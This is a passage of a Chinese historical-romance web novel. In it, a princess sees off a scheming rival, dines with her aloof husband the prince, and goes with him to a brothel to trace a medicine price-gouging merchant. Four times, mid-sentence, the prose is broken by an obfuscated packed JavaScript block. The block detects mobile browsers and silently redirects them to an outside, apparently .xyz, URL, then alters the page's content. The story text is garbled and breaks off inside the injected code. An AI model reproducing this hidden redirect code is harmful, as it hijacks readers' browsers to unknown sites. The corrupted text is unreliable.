“枕年哥哥,你听我说,我真的没有要折磨王妃的意思。姨娘说让我多督促着她学学规矩,我这才私下找到掌教,让她稍微严苛些。是这个贱婢自己会错了意,谁知道她竟下这么狠的手。” 谢枕年对她的回答不置可否,只是将袖子从她的手中抽出来,与她拉开些距离,接着绕过她,去扶起还跪在地上的夏穗。 “有哪儿伤到没有?要不要叫太医过来看看?你没吃午饭,肚子饿了吧?想吃什么,我让厨房给你做。” 夏穗愣了愣,但随即便反应过来,谢枕年此举多半是做给白薇看的。 差点就被他深情款款的样子给骗了。 不过好在她已经了解了谢枕年是什么脾性,就算他有意为她打抱不平,但也绝对不会表露出这副温柔体贴的模样。 在娘家时,她为了躲过继母三百六十五种不同的刁难花样,苦练了多年的演技。对方到底是真情还是假意,她一眼就能看出来。 更何况谢枕年这种浅显的演技,在她面前还是太小儿科了。 “怎么不说话?嗓子不舒服吗?你可有尝那碗粥?我现在就让太医过来。” 声音温和,略带着急。 还演上头了。 夏穗立刻拉住他的袖子,十分配合他:“不用,我今天只是被吓到了。不过有你在,我就不怕了。” 她说完,偷瞄了白薇一眼,她像提线木偶般呆愣在原地,眼泪顺着通红的脸蛋不停地流。 真是,杀人诛心呐。 夏穗依偎在谢枕年的怀中,他厚实有力的胸膛让人很有安全感。 但她此时并不觉得自己很安全。 她在心中细细思虑着,谢枕年肯定知道白薇的心意,也知道怎么做让她感到痛苦。他对自己嘘寒问暖,不过是用他的手段在惩罚白薇。 她原以为这个人只会在朝堂上布局谋划,不过如今看来,他心思细腻,动起某些歪主意来,并不比女人差。 白薇还不死心地靠过来,泪眼婆娑道:“枕年哥哥,我……” 谢枕年打断她,一改对夏穗说话时温润的口吻,语气中一点温度也没有:“我没记错的话,舅父的生辰快到了吧。他将你视为掌上明珠,爱护有加,你还是回去多陪陪他吧。” 白薇试图争辩:“父亲的生辰还有大半年……”话音未落,她的眼神中浮上来一些不可置信:“你在赶我走?” “你福身行礼的仪态学得不错,不过,我看你也该精进一下《女儿经》。” 白薇彻底死心,不再辩驳。但她的眼睛却狠狠盯着夏穗。 夏穗靠在谢枕年的胸口,瞄了她一眼,白薇的目光凶狠得像是要把她生吞活剥一样。 但夏穗并不避讳她的目光,直直地予以回视。她也知道按照白薇的个性,日后必会找机会报仇雪恨。 不过现在这局棋胜负已定,她赢了就行。 下次谁胜谁负,下次再说。 她只知道,如果这一次顺从对方的意愿,闭着眼不反抗,对方一旦尝到了欺辱她的滋味,那下次就是要挖她的眼睛了。 谢枕年下令将白薇遣送回府,掌教姑姑罚俸一年,剥去掌教身份,打发去洗衣房。 夏穗算是从这场风波中全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630643|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身而退。 暮色四合,夜色如泼墨般散开,王府檐下的大灯笼一盏接一盏地亮起来。 房内,小桃正在给夏穗被咬破的嘴唇上药。 她一边上药一边心疼地嘀嘀咕咕:“都咬破血了,小姐也真是的,何必这么伤害自己?” 夏穗满不在乎地道:“她们两个人欺负我,我当然得装惨一点。见一点血光,既打发走了白薇那个活阎王,又惩罚了掌教的,这段时间估计也不用学礼仪了,这点血珠值了。” 小桃疑惑道:“小姐,你怎么知道王爷一定会站在你这边?” 夏穗笑了笑:“我猜的。” 她确实没有十足的把握,只不过努力摆出一副楚楚可怜,受人欺负的模样,激起男人的保护欲罢了。 小话本中常说,男人天性喜欢英雄救美。 再加上她对谢枕年的了解,他虽对男欢女爱那些事寡淡如水,无欲无求,但也从另一方面验证了他总体上为人正直,不是什么见死不救的人。 小桃看着正傻乎乎乐呵的夏穗,着急道:“小姐,这种事情怎么能纯靠猜呢?” 夏穗摆摆手,解释道:“就算他不帮我,只要他来了,见到了这幅场景,白薇就必定会停手,这就已经足够了。” 她猜测,白薇在谢枕年面前的形象估计也是贤妻良母,宽容大度之类的。就算她今天棋差一招,谢枕年不帮她,白薇也必定不会在他面前搞什么小动作。 她双手趴在桌子上,懒洋洋地:“好饿啊,晚饭好了没有啊?” 早饭只是马马虎虎地吃了,午饭没吃,又跟妖精们斗智斗勇了一天,此时已经饿得前胸贴后背了。 小桃前脚刚出门,去厨房催,后脚彦修就进来了。 “娘娘,王爷有请。” 夏穗人仍旧趴在桌子上不起身:“稍等,我吃两口饭马上就去。 “王爷请娘娘过去一起用膳。” 嗯? 夏穗闻言立刻坐直了身子,简直怀疑自己耳朵听错了,反问道:“他让我过去一起吃饭?” 彦修十分肯定地回答:“正是。” 夏穗起身,乖乖和彦修一起去谢枕年的房中。刚到门口,就碰到白薇含泪出来。 夏穗顿时反应过来,原来是戏还没演完。 不愧是年少就身居高位的王爷,做戏做得真全套。 她温良谦恭地走进房间,谢枕年抬眸,脸上还是那副不近人情的神色,只朝她略微歪了歪头,示意她过去坐。 刚落座,夏穗与他客气了几句,心就已经被满桌鲜美丰盛热气腾腾的饭菜占据,垂涎不已。 等谢枕年动筷后,她立刻端起碗风卷残云般狼吞虎咽起来。 谢枕年看她一副饿死鬼投胎的样子,于是让了让她,把筷子放下。 看她吃了一会儿,像是想起什么似的,忽然问道:“你平日里都看些什么书?” 夏穗夹菜的筷子抖了一下,筷子上的红烧牛肉也重新落入菜碗中。 谢枕年见状,微微眯起眼眸,夹起那块牛肉放入她面前的碗里,不过眼睛却始终盯着她,十分有压迫感。 夏穗不敢直视他的眼睛,但能强烈地感受到他的视线,如果目光有温度,那她一定被那道视线烙穿了两个孔。 那一瞬间,她满脑子都是藏在枕下那狂放□□的小话本是否安好。 8. 第 8 章 夏穗在脑中迅速思考,虽然谢枕年的眼神很有威慑力,但她猜测那是因为自己方才做了一个差点露馅儿的小举动。 听他的语气不像是要发怒的样子,况且,她那本书的封面做得相当以假乱真,就算婢女收拾房间看到了,也不至于会翻开。 绝不能自己先乱阵脚。 她慢吞吞地咽下口中的饭菜,说道:“家中继母整日里只让我干活,不让我上学,但我大约识得几个字。” 听她说完,谢枕年的眼中恢复了以往对她不感兴趣的颜色,而且眼中似乎还多了一层怜悯。 夏穗轻轻呼出一口气,反过来问道:“王爷怎么突然想起来问我这个?” “我房中缺一个的书童,就由你来吧。” 他们晚上已经不睡在一起,光是这一点,他母亲就问了好几次,他总以身体尚未恢复为由搪塞过去了。若是他们白天也完全不接触,他母亲和叔父估计又要替他张罗婚事了。 夏穗先是怔愣了一下,不过随即也想到了他这么做的缘由。他病情已经渐好,若是不在他母亲面前好好维持这份夫妻关系,下一桩婚事估计又要抬上日程了。 他装病的借口已经用了一次,总不可能次次用。眼下最有效的办法就是在老夫人面前伪造出一副得夫妻恩爱的样子。 夏穗点点头,乖乖应下:“好,只要能帮到王爷,我一定会多多看书学习的。” 她说完,又想起今天下午让他对白薇说的话,于是接着补充道,“王爷说的《女儿经》,我也会好好看的。” 谢枕年闻言,瞥了她一眼,淡淡回道:“你不用看那个。” 她眨眨眼,对这句话里的意思有些没反应过来。 谢枕年很快接了一句:“那是教女子温良谦恭让的书。” 夏穗一边吃饭一边仔细咀嚼着他这句话的意思。 言下之意,就是她在温良恭俭这些方面都做得很好? 果然啊,人生如戏,全靠演技,还是亘古不变的至理箴言。 傍晚的风从窗子里爬进来,驱散了闷热的暑气,让人心旷神怡。谢枕年心情甚好,端起面前的碗又大口开吃。 烛火在一道道鲜美佳肴上投下暖光,看着更让人食欲大增。 夏穗夹起一片浸透着酱汁的肘子肉放入口中,肉被炖得很恰到好处,不用费力就可以咬下来。油光发亮的肘子皮黏着在她唇间,她伸出舌尖卷走那点油星,腮帮子被食物塞得鼓鼓的。 从谢枕年的角度看过去,莫名有些可爱。 谢枕年手中拿着筷子,但已经忘记了自己吃,光看着她吃。 夏穗对他的注视毫无察觉,只顾着吃饭。她舔舔嘴唇,手中的象牙筷又探向糖醋鱼,挑开焦脆的鱼皮,新鲜肥美的鱼肉溅出金黄的汁水,刚送入口中,入口即化。 此时的幸福感已经达到了顶峰,她大快朵颐着,似乎终于注意到了没怎么动筷子的谢枕年。 她咽下口中的饭菜,疑惑道:“王爷,你怎么不吃?”她看着满大桌子的鲜珍海味,“这些菜你都不喜欢?” “也不是。” “那是为什么?” “……” 谢枕年一时之间也说不出个所以然来,但是他从小就是这样,母亲和叔父都教导他,不要轻易在他人面前展露出自己的喜好。不管是食欲还是色欲,都要懂得克制自己的欲望。 久而久之,吃食、衣饰、玩物,再到活生生的人,他都觉得没了什么兴趣,也无所谓喜不喜欢。 吃食上,厨房做什么,他便吃什么。不挑剔,但也从不多动筷。 夏穗见他不说话,夹了一块清蒸排骨放入他的碗中:“你都没怎么吃,快尝尝,王府的厨子手艺都很好。” 白花花的米饭里躺着一块酱色的肋排,带脆骨的部位泛着半透明的油光。蒸汽裹着肉段和小葱的香气钻入鼻子,让人忍不住咽了一下口水。 夏穗见他还不吃,暗自思忖道,这道菜没动过,难道是怕有毒? 于是她自己率先夹起一块,夹起时肉块从中间断开,露出内里也浸满酱汁的软肉。 她一口便把那一大块肉放入口中,咸鲜裹着肥美滋味在齿间漫开,肉香醇厚,汤汁鲜美。 简直好吃到让她摇头晃脑。 她咀嚼着含糊不清地向谢枕年极力推荐这道菜:“真的好好吃!此生无憾了!” 谢枕年半信半疑地学着她把整块排骨塞进口中。酱料蹭过唇角,他下意识地伸出舌头舔舐。 夏穗笑了笑,凑过来问道:“怎么样,是不是很好吃?” 她眼中满含着期待的光,谢枕年愣了愣,略微点点头。 说实话,他其实没尝出来那块排骨到底怎么样,但是看着夏穗亮晶晶的眼睛,他就是觉得那应该是很好吃的。 “你再尝尝这个,这个也好吃。” 夏穗又往他的碗中夹了一只油爆虾。 接着是烩什锦丁、鸡丝烩豌豆、松仁小肚…… 很快,桌子上的食物被两人一扫而光。 连最后端上来的小甜点冰糖莲子都被两个人吃完了。 彦修带人进来收拾碗筷的时候,也不禁感到震惊。他的目光在谢枕年和夏穗的脸上来回赚,但最终什么也没说,乖乖带人退下了。 谢枕年接过下人递过来的丝帕,擦了擦嘴,对她说道:“我待会儿要处理公务,你先退下吧。” 夏穗听话地请安告退,刚好晚饭后需要出来遛遛弯儿,消消食。 她漫无目的地在整个王府内逛了一圈,打算回房时,忽然听到有一男一女在小声说着什么。 难道是有侍卫和婢女私会? 八卦之心大起,她悄悄躲到树后,竖起耳朵听。 但隔得有些远,她听不太清楚,只隐约捕捉到“王妃”这两个字。 原来不是难女幽会,是有人在背后蛐蛐她!那她更要听了。 她猫着腰,踮起脚,朝他们靠近了些,躲在另一棵树后。 这下差不多能听清了。 “真是奇观。” 是彦修的声音。 “我从小跟着王爷,从没见他哪餐吃过这么多。” “是啊,一大桌子的菜,几乎全吃完了。我看,八成都是王妃一个人吃的吧?” ?! 猪拱白菜也吃不了这么多啊! 他们把她当什么了?! 彦修摇摇头:“我看不像。王妃那小身板,看着也不像能吃这么多。” 夏穗忍不住点点头,还是彦修有脑子,怪不得能跟在谢枕年身边这么多年呢。 他猜得也确实没错,虽然前半段一直是她在吃,但吃到后来,是她和谢枕年两个人一起吃的。他们两人应该可以说是不分上下的程度。 没听见他们说自己什么坏话,夏穗这才悄咪咪地离开。 躺回床上,夏穗从枕头下拿出小话本,脑子里忽然冷不防地蹦出来谢枕年那句“你都看些什么书?” “还能是什么书?心灵慰藉啰。” 夏穗捧着小话本,看着自己做的正儿八经的封面,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630644|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面写着“精神能量”四个大字。 但她没有翻开,先仔细复盘了一下她和谢枕年今天的对话有没有什么漏洞。 她当时只说自己约莫认识几个字,还是说得太谦虚了。毕竟看了这么多年小话本,现在就是让她当场提笔写一篇出来,她也游刃有余。 而且,目不识丁从不读书的形象也跟她目前立的温婉贤淑人设不太相符,她怎么也得说自己抄过书读过《女物》吧。 唉,不管了,既来之则安之,若是不小心让他发现自己博学多才,那就只能说自己善于学习,勤奋刻苦了。 把烦恼抛诸脑后,夏穗翻开小话本,看着看着又昏昏然不知天地为何物。 第二日晨起,向老夫人请过安后,她早早地去谢枕年房中报到当书童。 但谢枕年不在房内,一问才知他上朝去了。 既然如此,那她只好勉为其难地出去逛逛了。 王府周围都很安静,寻常老百姓也不敢在王府外面摆小摊,她走了挺长一段路才来到热闹的集市。 她还没好好逛,就听到人群中传来一阵十分刺耳的哭闹声。而且一听便是幼童的哭声。 夏穗本来没心思管的,但那哭声哭了好久也没停下,她心中隐隐有些担心,拨开人群,朝着那阵哭声寻过去。 果然在人群中看到一个孤立无援的小男孩儿。她走过去用衣袖给他擦了擦眼泪,温柔问道:“怎么啦?和爹娘走散了吗?” 小男孩儿不说话也不点头,但止住了眼泪,朝她伸出双手。 夏穗不知道他是什么意思,只好不停发问:“什么意思?是要吃的吗?要吃什么?我去给你买?” 但小男孩儿像是听不懂她在说什么,只是伸着手,咿咿呀呀了几句。夏穗这才反应过来,原来他还不会说话。 这下她更着急了,她完全不能理解他到底要干嘛。 小男孩儿迟迟没有得到她的回应,又哇哇哭了起来。这下一些不明所以的路人都以为是她对孩子做了什么。 夏穗心里也很着急,但她解读不出来这孩子的意思,只好干着急。 这时忽然从旁边跑出来一个小妇人,在她面前蹲下,也像那个孩子一样伸出手,抱住了小男孩儿,拍了拍他的背,安抚道:“拍一拍,抱一抱,宝宝笑一笑。” 夏穗抹了一把汗,对小男孩说道:“太好了,你娘亲来了。” 小妇人瞥了她一眼,解释道:“我并不是他的娘亲,只是人在伤心无措的时候需要一个拥抱而已。只要抱住他,就可以让他安心。” 夏穗恍然大悟,原来那孩子方才一直朝他伸手,是求抱抱的意思。 “小姐!” 身后传来小桃的声音,她循声回头。 “王爷快回来了,我们该回去了。” 夏穗前脚刚回房,谢枕年后脚便到了。 他走进来,一句话也没说,阴沉着脸色,眉头压得快连成一条黑线。 他面向着夏穗站定,朝她伸出手。 ? 夏穗怔住,这是什么意思? 他脑子中忽然想起刚刚碰到的那个小男孩儿,伸出手站在原地不动,谢枕年这不是一样的手势吗? 他也在求抱抱? 夏穗打量着他的神色:黑着脸,皱着眉,抿紧嘴,确实是一副在外面受了委屈极不开心的模样。 小妇人的话适时地在她耳边响起:“只要抱住他,就可以让他安心。” 夏穗略微迟疑了几秒,尝试着伸出手,走上前轻轻抱住了他。 9. 第 9 章 夏穗带着好闻的女子香扑过来,娇软的身体紧贴着他,温热的鼻息轻轻喷在他的脖颈间,让谢枕年呆愣在原地。 …… 这是在做什么? 谢枕年一时间不知该说什么好,几次张嘴又闭上,良久才问道:“你做什么?“ 听他这么问,夏穗意识到自己会错意了,立即松开他,解释道:“看你不太高兴,我听说拥抱一下会好很多,所以抱抱你。“ 谢枕年的眸子亮了亮,似乎接受了这个解释,依然朝她伸开手说道:“行了,替我更衣吧。” 原来他朝她张开手是要更衣的意思! 夏穗腹诽,果然自己还是太把他当正常男人看了。在新婚之夜对新娘子都无动于衷的的人怎么可能是在求抱抱。 她回过神来,细细一想,方才自己主动拥抱他,倒显得像是她在求抱抱一样。明明行动之前脑子里还没彻底想清楚,但当时身体就已经先一步做出了反应。 难道是她脑子很饥渴,潜意识在作祟? 晚上得把压箱底的小画本翻出来补补脑子才行。 夏穗第一次替男人更衣,但好在之前已经帮他穿过一次衣服,所以一套动作下来行云流水,倒也还算迅速妥帖。 谢枕年退下正红色的朝服,换上一袭白衣,显得他更俊逸清雅。 换好衣服,他走到桌旁坐下开始处理公文。夏穗也十分自觉地跟着走过去,站在他旁边替他研磨。 她站的方向正好把窗户透过来的光挡得死死的,但她本人毫无察觉。 谢枕年刚提起的笔又放下,犹豫片刻还是抬头对她说道:“去那边研,你挡着我的光了。” 他刚写了几笔,就用笔杆敲了敲砚台边沿:“墨色太淡了。” 夏穗加快了手上的速度,让墨条尽快多磨一些。墨条在砚台上迅速来回移动,发出轻微的摩擦声。 磨了一会儿,谢枕年又发号施令道:“太稠了,加水。” 夏穗盯着他面无表情的侧脸,捏着墨条的指节微微发白,面上却提起梨涡温声应下:“好。” 青石砚里刚调匀的墨色才晕开,谢枕年的笔杆又敲得砚台当当响:“水太多了。” 真是麻烦,一会儿嫌水多了墨淡了,一会儿嫌墨稠了,她悬着的手腕就没停过,但他好像总是不满意。 夏穗气得咬牙切齿,谢枕年眼皮都没抬一下。也正是因为她知道他做正事时十分专注,她便大着胆子对他翻了个白眼,又吐了吐舌头。 但也许是注意到她轻微的动静,谢枕年忽然抬头,两人的目光正好相撞。 夏穗立即收起她大不敬的态度,朝他扬起嘴角,眯着眼睛奉上专业假笑。 谢枕年瞟了一眼砚台里的墨,觉得差不多了,于是挥挥手让她去桌子的另一端整理书册。 她慢吞吞地移到桌子的另一侧,虽说是整理书册,但其实谢枕年看过的书都会分门别类自己放好,几乎不用她整理。 她随手挑了一本书,立起来挡在自己面前,百无聊赖地撕了张纸,开始折青蛙。 一张光滑平整的纸在她手中三折两叠就捏出一个鼓着腮的纸青蛙。折出来的青蛙比她想象中的大,她想试试它的跳跃能力如何,于是指尖摁在青蛙屁股上轻轻一弹。 纸青蛙蹦过青瓷笔洗,越过砚台,正正好落在谢枕年面前的公文上。 他执笔的手顿了顿,狼毫尖悬在纸上,眼睛盯着这只忽然跳出来的青蛙,嘴角抽动两下,眼珠子像僵化了一般慢慢转向夏穗。 …… 又是一片让人脚趾扣地的寂静。 夏穗忙用书挡住半张脸,只露出一双弯成月牙的眼睛,小声解释道:“它比我想的跳得远。” 谢枕年轻叹一声,把那只纸青蛙扫到旁边。 夏穗怕再做出什么举动真的惹他生气,只好乖乖坐下,看起书来。 但书上全是她看不懂的之乎者也,枯燥无比,跟她满页春色旖旎振奋人心的小话本完全不一样,才看了几分钟,她就觉得晕乎乎的,直接趴在桌上睡着了。 香炉里新添的檀香块已经燃成了灰白,谢枕年处理完手对边的文书,朝异常安静的夏穗扫了一眼,只见她趴在桌上,在书堆里露出半张侧脸,睡得正香。 天气有些微热,她把袖子全都撸到了胳膊肘,露出两截雪白的小臂。两臂交叠着,枕在他的爱书上,松散的发髻垂下来几缕青丝,贴在她的脸颊旁,随呼吸微微起伏。 谢枕年目不转睛地盯着,更加细致地打量她:黑而密的睫毛在下眼睑投出一小片阴翳,唇色比新婚夜看到的要淡些,像是被露水润过的粉色海棠。 目光移到她的嘴唇时,他忽然觉得有些干渴,喉结动了动,吞了口唾沫。 手指无意中碰到旁边的纸青蛙,谢枕年把它拿起来放在手心,仔细端详着。明明是个连眼睛鼻子都看不出来的生物,他心里竟然觉得也怪可爱的。 他拿起笔,在那只青蛙头上点了两个点,为它画上眼睛,这下更像真的了。 他把纸青蛙放在桌上,研究了一会儿该怎么让它跳起来。 彦修一进来,看到的便是自家孤高冷傲的王爷玩一只纸青蛙玩得不亦乐乎的样子。 谢枕年见他进来,立刻坐直了身子,不动声色地把那只纸青蛙收进宽大的袖子里。 彦修也装作没看到似的,刚要说话,谢枕年就抬手把食指放在嘴边,对他做了一个噤声的动作。 彦修这才注意到熟睡的夏穗,会意地点了点头。 谢枕年站起身来,朝门外走去。 见他出来,守在外面的下人要进去收拾房间,他伸出手拦住他们:“王妃没出来之前,不要进去扫洒。” 等夏穗悠悠然睁开眼的时候,已经到下午了。 她是被饿醒的。 只不过现在已经过了用午膳的点了,夏穗打算去厨房转转,自己拿点吃的。 还没到厨房,便在路上看到了小桃的背影。她一边走一边叫住了小桃:“这大半日你去哪儿啦?怎么都不见你过来……” 她话还未说完,小桃便一头栽倒在她面前。 夏穗吓了一跳,赶紧上前查看她的情况。她刚碰到小桃的手,只觉得她手心温度惊人的发烫,她迅速探向她的额头,果然也烫的厉害。 她随手招了个侍卫过来,把小桃抬到自己房间,叫了府医来看。 “回娘娘,是伤口感染发炎导致的发热,用药消消炎,处理好伤口即可。” 夏穗半质疑道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630645|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “伤口感染?不可能吧?她手上的伤口还是半个月前切到的,按理说早应该好了。” 她狐疑着,走过来拉起小桃的手查看她的手指。她的伤口是半个月前切菜时不小心切到的,当时就流了好多血。这事夏穗也是知道的,不过她当时已经嘱咐好小桃及时去用药包扎。 但现在一看,伤口不但没好,反而有溃烂的架势。 府医又接着说道:“天气闷热,再加上她没有用药,伤口已经感染化脓了。” 夏穗点点头,赶紧吩咐了丫鬟随府医去取药。 她回到床边时,躺在床上的小桃也悠悠转醒。夏穗见她醒了,焦急问道:“傻丫头,这伤没好,你怎么不用药?” 小桃半撑着身子坐起来,有些委屈道:“小姐有所不知,现在的药实在是太贵了。单是一包小小的金创药粉,用我半个月的俸禄都买不起。” 夏穗蹭地站起来:“哪家黑店?我现在就去找老板麻烦。” 小桃摇摇头道:“我连跑了三家,都是这样的。” 夏穗沉吟着思考了一会儿,站起身来道:“你好好休息,我出去一下。” 虽然她势单力薄,仅凭她一个人也许干不成什么事情,但她有一个身居高位让人敬畏三尺的夫君。 她到了谢枕年房间,刚见到他便在他面前直接跪下来,一五一十地将小桃所说的情况跟他说了。 谢枕年没有开口,彦修看了他一眼,代替他说道:“王爷前些日子也发现了这个情况,我们找到了京城最大的药材供应商郭长风,正打算去问问情况。” 夏穗自告奋勇:“我也去。” 谢枕年淡淡地望了他一眼,不置可否。 她跪着朝前走了一步,据理力争:“怎么说小桃也是我的陪嫁丫鬟,我们自幼一同长大,她是这件事的受害者,我想亲自抓住背后的大恶人。” 谢枕年没有说话,只是站起身走到她面前,朝她伸出一只手:“出发。” 为避免打草惊蛇,两人乔装成普通的药商,来到郭府,假意要进些药材。但他们去时正好跑了个空,郭长风不在,只有管家接待了他们。 谢枕年向管家问了几句情况,但也没问到什么有价值的消息。 管家送两人出府,路过某个院子时,夏穗听到了咿咿呀呀的清唱声。 她立即问道:“那边是在?” “哦,那是老爷的姨娘们所住的梨园。七姨娘和九姨娘都是戏班出身,所以在府上偶尔也会唱唱戏。” 夏穗点点头,不再多问。 两人出了郭府,谢枕年本以为是无功而返,打算就此打道回府。但刚出了门,夏穗便拉着他往王府相反的方向走。 谢枕年问:“去哪儿?” “去了你就知道了。” 夏穗拉着谢枕年,沿着大街一直走,越往前走,越是灯火通明人声鼎沸。 谢枕年一向不喜欢这种人群密集,嘈杂不已的地方。他跟在她身后,终于又忍不住问道:“到底去哪儿?” “马上就到。” 确实是马上就到,夏穗拉着他走了几步路,在一座人流如潮的大楼前停下脚步。 谢枕年抬头,只见华丽的牌匾上写着龙飞凤舞的三个大字:醉花楼。 10. 第 10 章 醉花楼的廊檐下立着两排浓妆艳抹的女子,个个都只穿着抹胸和透明的绫罗,鬓发间夸张的花簪步摇随招揽客人的妩媚动作轻轻晃荡。 谢枕年连忙挣脱开夏穗,四下环望了一圈,确保这四周应该没有认识他的人。 他活了这么多年,一向修身养性束身自好,从来没来过这等风月场所,一来便来了京城最大最繁华的花楼。 夏穗注意到他眉目间隐隐有些怒色,赶紧解释道:“方才在郭府里,你听到了唱戏的声音吧?” 谢枕年皱着眉略微点点头,冷声道:“跟这里有什么关系?” 她分析道:“管家说,七姨娘和九姨娘出自出身戏班,但他撒谎了。戏班有固定的剧种声腔,唱词文雅,且多引用经典文本。但姨娘们唱的更像即兴小调,内容俚俗直白,伴奏也非常随意,应当是花楼女子们常唱的曲子。” 谢枕年沉默不语,慢慢思考着她的话。夏穗顿了顿,接着说道:“另外,郭长风都能娶到九房姨娘了,可见他多半是个好色之徒。既然他没任什么职,这个点还不回家,最有可能的,便是来这里了。” 谢枕年还在抗拒着:“我没见过郭长风,就算进去了也不一定能认出他。” 夏穗看了一眼醉花楼,颇有信心地说道:“放心,他肯定是这里的常客,只要知道他的名字,随便找个人问问就成。” 谢枕年沉吟了一会儿,双眼盯着她问道:“你为什么会知道这些?” 夏穗急中生智,胡诌八扯道:“我……我听小桃说的,她家中有姐妹曾在这里卖艺,所以对这些比较了解。” 她确实是第一次来醉花楼,但是她已经在小画本里见过这个地方无数次,很多小话本的故事也在这里发生,她除了没实地探索过,几乎可以说是对这座楼了如指掌。 她拉着谢枕年就往里走,还没等他们靠近门口,站在门口的一大群揽客女子便围了上来。 谢枕年今晚出来只穿了一件极其低调素雅的衣服,撇开衣着上精致的走线和装饰不谈,光看他本人一身非比寻常的气质,让人一看便知是矜贵无比的某位大人。 莺莺燕燕们一下子便把他围得水泄不通,有人挽着他的手,有人贴着他的臂膀,原本与他并行的夏穗很快被她们挤开。 谢枕年十分粗暴地一把推开粘在他身上的女子,拨开人群,走过去拉夏穗的手,他只想赶紧找到人,然后离开这个吵得他头痛的地方。 但他这个举动自然是惹得姑娘们十分不满。 老鸨正好在这时走了出来,方才被他推开的那些姑娘们一起挤上去七嘴八舌地告着状。 老鸨大概了解了来龙去脉,又仔细打量了一下谢枕年,考虑着要用什么措辞和态度。 她到了这把年纪,也是见过大风大浪的人,醉花楼能开到现在,背后也有不少达官贵人撑腰,她待人接物向来是有底气的。 她识人千面,但面前这个长身玉立的男人她从未见过。光是看他这通身的气派,她敢断定他绝不是小门小户。 打量完毕,她言语之中带着实打实的客气恭敬开口:“哎呀,公子这是何意呀?公子若是不喜欢这些姑娘,那里面请,里面还有很多好姑娘,任公子挑选。” 谢枕年看都没看她,冷冰冰道:“我不是来寻欢作乐的。” 此言一出,老鸨身后有姑娘喊道:“你既然不是来找姑娘的,那你来什么花楼啊?” “住口!不得无礼!” 老鸨训斥完那个女子,看了夏穗一眼,又尽量放低姿态,十分谦卑地问道:“不知这位姑娘是……” 谢枕年还未来得及开口回答,身后的姑娘们又议论起来。 “能带来这种地方的,还能是原配发妻不成?” “就是,不是小妾就是陪房丫鬟喽。” “一边带着女伴来花楼,一边还说不想寻欢作乐,谎话也不是这么编的吧。” 几人你一言我一语地说着,有些愤恨地宣泄着方才受的委屈。醉花楼是整个京城里最豪奢最高档的花楼,她们平时接待的客人也都是非富即贵的,自认为背后有贵人撑腰,因此说话也骄纵傲慢了些。 谢枕年想着还有正事要办,也不屑于跟眼前的花花柳柳们计较,只想赶紧摆脱她们进去找人,于是如实回答,想堵住她们的嘴。 “她是我妻……” 夏穗见状,赶忙打断他,站出来说道:“姐姐们,我是他七叔的女儿,我们是远亲,我第一次从乡里来京城,什么也没见过。刚才走到那边,只见这里香雾缭绕,歌舞升平,我便想让他带我进来看看。” 她一边说着,一边又往老鸨和带头的那几个姑娘手里塞了点银子:“不过我俩都是第一次来花楼,不如姐姐们先放我们进去听听小曲儿,喝酒赏舞,其他的到时候再说。” 老鸨立即眉开眼笑,十分谄媚道:“姑娘真识大体。是这群丫头们平时被客人们惯坏了,说起话来没头没脑的,还请二位见谅,二位请进。” 醉花楼不同于别的青楼,若是别的青楼,身为女子一般是不许入内的。但醉花楼里兼顾男妓和女妓,只要有银子,来者皆是客。 夏穗暗抬了抬嘴角,也高高兴兴地踏入。 谢枕年跟在她身后,小声问道:“你方才为什么胡说八道?” “来这种地方呢,你非要威逼,倒是也能进来,但远不如花钱来得迅速。这是既能不暴露身份又快速混进来的最好办法。” 谢枕年点点头,又接着问道:“怎么找人?” 夏穗看着他不太高兴脸色,犹豫着说道:“王爷,那可能得你做点牺牲,不知道你愿不愿意。” “都已经到这儿了,还能有什么愿不愿意,能找到人就行。” “这样,你假扮成客人,拥几个女子入怀,然后假装不经意地提起郭长风就行。” 她说完,又特意补充道:“记得先聊点别的,千万不要一上去单刀直入地问,不然姑娘们猜到了你的来意,对你没了兴趣,可能就什么也不会说了。” 谢枕年揉揉有些发胀的太阳穴,自觉有些这个任务对他来说有些艰巨,反问道:“为什么不是你去?” “我是女儿身,我若是去问,这里的姑娘们防备心肯定很重。我倒是也可以找男伎,不过郭长风不好男色,想必他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 